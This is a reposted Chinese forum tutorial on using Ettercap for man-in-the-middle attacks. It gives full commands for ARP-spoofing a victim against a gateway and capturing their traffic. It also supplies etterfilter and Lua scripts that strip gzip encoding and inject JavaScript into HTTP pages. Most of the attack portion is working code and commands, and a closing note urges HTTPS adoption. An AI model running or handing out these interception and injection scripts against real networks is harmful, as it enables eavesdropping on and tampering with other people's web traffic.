5057|0

11

帖子

0

TA的资源

一粒金砂(中级)

楼主
 

【转】使用Ettercap filter进行流量监听和数据篡改 [复制链接]

Ettercap是一个综合性的中间人攻击工具,使用它可以进行ARP欺骗、拦截器、DNS欺骗等操作,本文将介绍使用ettercap的文本模式进行代码注入的方式和注意点。
安装ettercap
ettercap提供了对各个操作系统的支持,这里主要介绍macOS的安装方式。
通过Homebrew安装
这种安装方式较为简单,但是安装的ettercap不支持Lua脚本,如果想要使用支持Lua脚本的ettercap,需要通过源码安装。
  1. brew install ettercap
复制代码

通过源码安装
源码安装需要较多的依赖库,具体依赖可以在Ettercap文档中查看,如果是Ubuntu平台,使用apt-get即可安装所有依赖,如果是macOS平台,可以使用Homebrew安装大部分缺失的依赖,如果Homebrew上没有,可以尝试使用gem,笔者使用Homebrew和gem完成了所有依赖库的安装。
1.首先将ettercap源码clone到本地,然后编辑CMakeLists.txt,将第16行的
  1. option(ENABLE_LUA "Enable LUA support (EXPERIMENTAL)" OFF)
复制代码
置为ON,如果只是使用文本模式,可以将ENABLE_CURSES和ENABLE_GTK置为OFF。
2.按照文档建立并进入builid目录,执行如下命令。
  1. cmake .. -DOPENSSL_ROOT_DIR=/usr/local/opt/openssl -DOPENSSL_LIBRARIES=/usr/local/opt/openssl/lib
复制代码
3.如果第二步中有提示某个库not found,先安装对应的库,然后先执行make clean-all,再重新执行2中的命令,如果只有memrchr提示缺少,则可以忽略,经测试不会影响ettercap的运行。
如果没有上述问题,执行如下命令完成安装。
  1. sudo make install
复制代码
4.完成安装后,可以使用which ettercap查看安装位置,默认来说,ettercap的相关工具在/usr/local/bin/,配置文件在/etc/ettercap,运行时执行的Lua脚本在/usr/local/share/ettercap/lua/。
使用ettercap进行中间人攻击流量监听
通过ARP欺骗,我们可以使得受害者将我们视为网关,而网关将我们视为受害者,这样就实现了从请求到响应的双向监听,下面我们假设192.168.0.1是网关,而192.168.0.119为受害者,执行下面的命令即可进行监听。
  1. sudo ettercap -T -q -M ARP:remote -w network.pcap /192.168.0.1// /192.168.0.119//
复制代码
其中-T代表文本模式,-q为安静模式(不在控制台输出监听的数据),-M为中间人攻击,-w指定的是存储到磁盘的网络数据包,可以使用Charles或Wireshark等工具进行分析。其中ip地址的格式,根据编译源码时CMakeList中指定的是否支持IPv6,分别为MAC/IP/IPv6/PORT或MAC/IP/PORT格式。
当受害者浏览网页时,网络报文会被记录在network.pcap中,按下空格会退出安静模式,将报文同时打印到控制台。
数据篡改使用etterfilter
1.首先我们介绍使用etterfilter编译filter并加载到ettercap对网络请求进行处理的方法,首先建立一个ig.filter文件,写入以下内容。
  1. # 拦截受害者发送的请求,将报文压缩方式由gzip降级为不压缩
  2. if (ip.proto == TCP && tcp.dst == 80) {
  3.     if (search(DATA.data, "Accept-Encoding")) {
  4.         pcre_regex(DATA.data, "(Accept-Encoding:).*([\r\n])", "$1 identity$2");
  5.         msg("change encoding");
  6.     }
  7. }
  8. # 对于服务器响应,向head中注入js
  9. if (ip.proto == TCP && tcp.src == 80) {
  10.     if (search(DATA.data, "<head>")) {
  11.         replace("<head>", "<head><script>alert('js inject')</script>");
  12.         msg("inject head");
  13.     }
  14. }
复制代码


这里需要注意的是,一定要对请求头的Accept-Encoding进行篡改,否则响应默认使用gzip编码的,这样我们直接注入明文js是无效的,将编码方式降级为Identity,服务端会返回明文报文,同时客户端也不会再对报文进行一次解码。
2.使用etterfilter将filter文件编译成ef文件
  1. etterfilter ig.filter -o ig.ef
复制代码
3.在监听数据的同时加载过滤器
  1. sudo ettercap -T -q -F ig.ef -M ARP:remote -w network.pcap /192.168.0.1// /192.168.0.119//
复制代码
4.尝试在受害者端使用浏览器访问未使用HTTPS的网站,例如http://m.ctrip.com,如果成功会看到网页弹窗。
使用Lua脚本描述过滤器
使用Lua脚本的好处是不需要经过编译,直接加载即可,另外一个好处是,不会破坏网页的原始结构 ,而etterfilter方式在数据包中含有大量数据,又向其中添加数据时,会造成包尾被截断,从而破坏网页结构。
使用Lua实现上述功能的代码如下
  1. description = "Inject JS using Lua.";
  2. local hooks = require("hook_points");
  3. local packet = require("packet");
  4. inject = "<script>alert('Inject JS using Lua.')</script>";

  5. hook_point = hooks.filter;

  6. packet_rule = function(packet_object)
  7.     return (packet_object:is_tcp() and
  8.             packet_object:has_data() and
  9.             (packet_object:dst_port() == 80 or
  10.             packet_object:src_port() == 80));
  11. end

  12. action = function(packet_object)
  13.     p = packet_object;
  14.     data = p:read_data();
  15.     if string.find(data, "Accept.Encoding:") then
  16.         s,e = string.find(data, "Accept.Encoding:.-\n")
  17.         newdata = string.gsub(data, "Accept.Encoding:.-\n",
  18.         "Accept-Encoding: identity " .. string.rep(" ", e - s - 27) .. "\r\n")
  19.         packet.set_data(p, newdata)
  20.         -- ettercap.log("Changing Encoding");
  21.         return
  22.     end
  23.     body = string.upper(data);
  24.     if (string.find(body, '<HEAD>')) then
  25.         s,e = string.find(body, '<TITLE>.-</TITLE>');
  26.         if s then
  27.             title = string.sub(data, s, e);
  28.             s,e = string.find(body, '<TITLE>.-</TITLE>');
  29.             if not s or not e then
  30.                 return;
  31.             end
  32.             len = e - s;
  33.             idata = "<title>" .. description .. "</title>" .. inject .. "\n";
  34.             print(idata);
  35.             newstr = string.sub(data, 0, s - 1) .. idata .. string.rep(" ", len - string.len(idata)) .. string.sub(data, e+1, -1);
  36.             -- ettercap.log("Updating string");
  37.             packet.set_data(p, newstr);
  38.         end
  39.     end
  40. end
复制代码
ettercap中的lua API可以在/usr/local/share/ettercap/lua中查看,在网络监听时加载Lua脚本的命令如下。
  1. sudo ettercap -T -q -M ARP:remote --lua-script ig.lua -w network.pcap /192.168.0.1// /192.168.0.119//
复制代码

总结
本文主要介绍了使用ettercap监听和篡改HTTP流量的方法,可以看到在强大的工具面前,HTTP流量是不堪一击的。因此普及HTTPS对于保护数据安全即为重要,除此之外,CISCO等高端路由器默认对ARP欺骗进行了防御,在其局域网下也很难进行中间人攻击。对于HTTPS的数据监听,我们有两种思路,一种是降级为HTTP,这种方式易被察觉;另一种是使用SSLStrip等工具进行会话劫持。


点赞 关注

回复
举报
您需要登录后才可以回帖 登录 | 注册

随便看看
查找数据手册?

EEWorld Datasheet 技术支持

相关文章 更多>>
关闭
站长推荐上一条 1/7 下一条

 
EEWorld订阅号

 
EEWorld服务号

 
汽车开发圈

About Us 关于我们 客户服务 联系方式 器件索引 网站地图 最新更新 手机版

站点相关: 国产芯 安防电子 汽车电子 手机便携 工业控制 家用电子 医疗电子 测试测量 网络通信 物联网

北京市海淀区中关村大街18号B座15层1530室 电话:(010)82350740 邮编:100190

电子工程世界版权所有 京B2-20211791 京ICP备10001474号-1 电信业务审批[2006]字第258号函 京公网安备 11010802033920号 Copyright © 2005-2025 EEWORLD.com.cn, Inc. All rights reserved
快速回复 返回顶部 返回列表